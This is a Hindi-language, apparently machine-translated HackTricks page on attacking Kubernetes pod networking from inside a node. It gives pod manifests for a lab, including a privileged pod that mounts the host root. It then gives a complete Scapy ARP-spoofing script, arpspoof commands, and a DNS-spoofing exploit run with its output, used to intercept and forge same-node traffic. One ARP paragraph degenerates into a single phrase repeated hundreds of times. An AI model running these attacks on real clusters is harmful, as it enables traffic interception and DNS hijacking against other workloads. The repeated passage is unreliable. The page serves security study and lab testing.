Kubernetes Network Attacks

हैकट्रिक्स का समर्थन करें और लाभ प्राप्त करें!

परिचय

कुबरनेटीज़ डिफ़ॉल्ट रूप से सभी कंटेनर्स को जोड़ता है जो एक ही नोड में चल रहे होते हैं (यदि वे अलग-अलग नेमस्पेस के हों) तक लेयर 2 (ईथरनेट) तक। इससे एक दुष्ट कंटेनर्स को एक ARP स्पूफिंग हमला करने की अनुमति होती है जो समान नोड पर स्थित कंटेनर्स के ट्रैफ़िक को कैप्चर कर सकता है।

स्थिति में 4 मशीनें बनाई जाएंगी:

  • ubuntu-pe: नोड से बाहर निकलने और मैट्रिक्स की जांच करने के लिए विशेषाधिकृत मशीन (हमले के लिए आवश्यक नहीं)

  • ubuntu-attack: डिफ़ॉल्ट नेमस्पेस में दुष्ट कंटेनर

  • ubuntu-victim: kube-system नेमस्पेस में शिकार मशीन

  • mysql: डिफ़ॉल्ट नेमस्पेस में शिकार मशीन

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

मूल Kubernetes नेटवर्किंग

यदि आप यहां प्रस्तुत किए गए नेटवर्किंग विषयों के बारे में अधिक विवरण चाहते हैं, तो संदर्भों पर जाएं।

ARP

सामान्य रूप से, नोड के अंदर पॉड-टू-पॉड नेटवर्किंग एक ब्रिज के माध्यम से उपलब्ध होती है जो सभी पॉड को जोड़ता है। यह ब्रिज "cbr0" कहलाता है। (कुछ नेटवर्क प्लगइन अपना ब्रिज स्थापित करेंगे।) cbr0 ARP (पता संक्षेपण प्रोटोकॉल) संक्षेपण को भी संभाल सकता है। cbr0 पर एक इनकमिंग पैकेट पहुंचता है, तो यह ARP का उपयोग करके गंतव्य MAC पता को संक्षेपण कर सकता है।

यह तथ्य इस बात का अर्थ है कि, डिफ़ॉल्ट रूप से, एक ही नोड में चल रहे हर पॉड को इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इसका अर्थ है कि इस

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

पिछली जानकारी में आपको कुछ दिलचस्प दिखाई देता है, सेवा का आईपी 10.96.0.10 है लेकिन सेवा चलाने वाले पॉड का आईपी 172.17.0.2 है।

यदि आप किसी भी पॉड के अंदर DNS पता देखते हैं, तो आपको कुछ इस तरह का कुछ मिलेगा:

cat /etc/resolv.conf
nameserver 10.96.0.10

यहां, पॉड नहीं जानता कि उस पते तक कैसे पहुंचेगा क्योंकि इस मामले में पॉड रेंज 172.17.0.10/26 है।

इसलिए, पॉड DNS अनुरोध को पते 10.96.0.10 पर भेजेगा जो cbr0 द्वारा 172.17.0.2 में अनुवादित होगा।

इसका मतलब है कि पॉड का DNS अनुरोध हमेशा ब्रिज को जाएगा ताकि सेवा IP को अंत बिंदु IP में अनुवादित किया जा सके, यदि DNS सर्वर पॉड के समान सबनेट में है या नहीं।

इसे जानते हुए और जानते हुए कि ARP हमले संभव हैं, नोड में एक पॉड सबनेट और ब्रिज के बीच के ट्रैफिक को अवरोधित कर सकता है और DNS सर्वर से DNS प्रतिक्रियाएं संशोधित कर सकता है (DNS स्पूफिंग कर सकता है)।

इसके अलावा, यदि DNS सर्वर हमलावर के समान नोड में है, तो हमलावर को क्लस्टर में किसी भी पॉड के सभी DNS अनुरोधों को (DNS सर्वर और ब्रिज के बीच) अवरोधित करने और प्रतिक्रियाएं संशोधित करने की क्षमता होगी।

पॉड में ARP स्पूफिंग समान नोड में

हमारा लक्ष्य है यूबंटू-विक्टिम से माइक्रोसॉफ्ट तक कम से कम संचार चुराना

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

ARPSpoof एक नेटवर्क आक्रमण तकनीक है जिसमें हम ARP (Address Resolution Protocol) पैकेट्स को मोडिफाई करके नेटवर्क में उपस्थित होने वाले उपयोगकर्ताओं को गुमराह करते हैं। इसके द्वारा हम उपयोगकर्ताओं को विशिष्ट IP पते के लिए गलत MAC पता प्रदान कर सकते हैं, जिससे उपयोगकर्ता गलत नेटवर्क गेटवे या अन्य उपयोगकर्ताओं के साथ संचार करने की कोशिश कर सकते हैं। इसका उपयोग करके हम उपयोगकर्ताओं के बीच गोपनीयता और सुरक्षा को खतरे में डाल सकते हैं और उनकी गोपनीयता सूचनाओं को चोरी कर सकते हैं।

इस तकनीक का उपयोग करने के लिए हमें एक आक्रमण यंत्र (जैसे Ettercap, Bettercap) की आवश्यकता होती है, जिसका उपयोग हम नेटवर्क में उपस्थित होने वाले उपयोगकर्ताओं के ARP पैकेट्स को जांचने और मोडिफाई करने के लिए करते हैं। इसके बाद, हम ARP पैकेट्स को उपयोगकर्ताओं के बीच फॉर्वर्ड करते हैं, जिससे उपयोगकर्ता गलत नेटवर्क गेटवे या अन्य उपयोगकर्ताओं के साथ संचार करने की कोशिश करता है।

इस तकनीक का उपयोग करने के लिए हमें नेटवर्क में उपस्थित होने वाले उपयोगकर्ताओं के लिए एक विशिष्ट IP पता और उनके साथ संचार करने के लिए उपयोग होने वाले नेटवर्क गेटवे का MAC पता प्राप्त करने की आवश्यकता होती है। इसके लिए हम नेटवर्क में उपस्थित होने वाले उपयोगकर्ताओं के ARP पैकेट्स को जांचते हैं और उनके लिए उपयोग होने वाले नेटवर्क गेटवे के ARP पैकेट्स को जांचते हैं। इसके बाद, हम उपयोगकर्ताओं के लिए एक विशिष्ट IP पता और उनके साथ संचार करने के लिए उपयोग होने वाले नेटवर्क गेटवे का MAC पता प्राप्त करते हैं। इसके बाद, हम ARP पैकेट्स को उपयोगकर्ताओं के बीच फॉर्वर्ड करते हैं, जिससे उपयोगकर्ता गलत नेटवर्क गेटवे या अन्य उपयोगकर्ताओं के साथ संचार करने की कोशिश करता है।

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS स्पूफिंग

जैसा कि पहले ही उल्लेख किया गया था, अगर आप DNS सर्वर पॉड के समान नोड में पॉड को कंप्रोमाइज़ करते हैं, तो आप ARPSpoofing के साथ ब्रिज और DNS पॉड के साथ MitM कर सकते हैं और सभी DNS प्रतिक्रियाएं संशोधित कर सकते हैं।

आपके पास एक बहुत अच्छा टूल और ट्यूटोरियल है जिसका उपयोग करके आप इसे टेस्ट कर सकते हैं https://github.com/danielsagi/kube-dnsspoof/

हमारे स्थिति में, हमें टूल को हमलावर पॉड में डाउनलोड करना होगा और एक **hosts नामक फ़ाइल बनानी होगी ** जिसमें आपको डोमेन को स्पूफ़ करना है, जैसे:

cat hosts
google.com. 1.1.1.1

यूबंटू-शिकार मशीन पर हमला करें:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

यदि आप अपना डीएनएस स्पूफिंग स्क्रिप्ट बनाने की कोशिश करते हैं, और यदि आप केवल डीएनएस प्रतिक्रिया को संशोधित करते हैं, तो यह काम नहीं करेगा, क्योंकि प्रतिक्रिया में एक स्रोत आईपी होगी, यानी एक खतरनाक पॉड का आईपी पता होगा और वह स्वीकार नहीं किया जाएगा। आपको एक नया डीएनएस पैकेट उत्पन्न करने की आवश्यकता होगी, जिसमें पीड़ित डीएनएस अनुरोध को भेजने वाले डीएनएस का स्रोत आईपी होगा (जो कुछ इस प्रकार होगा 172.16.0.2, 10.96.0.10 नहीं है, यह K8s DNS सेवा आईपी है और यह डीएनएस सर्वर आईपी नहीं है, इसके बारे में अधिक जानकारी इंट्रोडक्शन में है)।

ट्रैफिक को कैप्चर करना

टूल Mizu एक सरल लेकिन शक्तिशाली API ट्रैफिक व्यूअर Kubernetes है, जो आपको माइक्रोसर्विस के बीच सभी API संचार को देखने में सक्षम बनाता है, ताकि आप अपनी डीबग और रिग्रेशन की समस्याओं को खोजने में मदद कर सकें। यह चयनित पॉड में एजेंट्स स्थापित करेगा और उनकी ट्रैफिक जानकारी को इकट्ठा करेगा और आपको एक वेब सर्वर में दिखाएगा। हालांकि, इसके लिए आपको उच्च K8s अनुमतियाँ चाहिए (और यह बहुत छिपाने वाला नहीं है)।

संदर्भ

हैकट्रिक्स का समर्थन करें और लाभ प्राप्त करें!

Last updated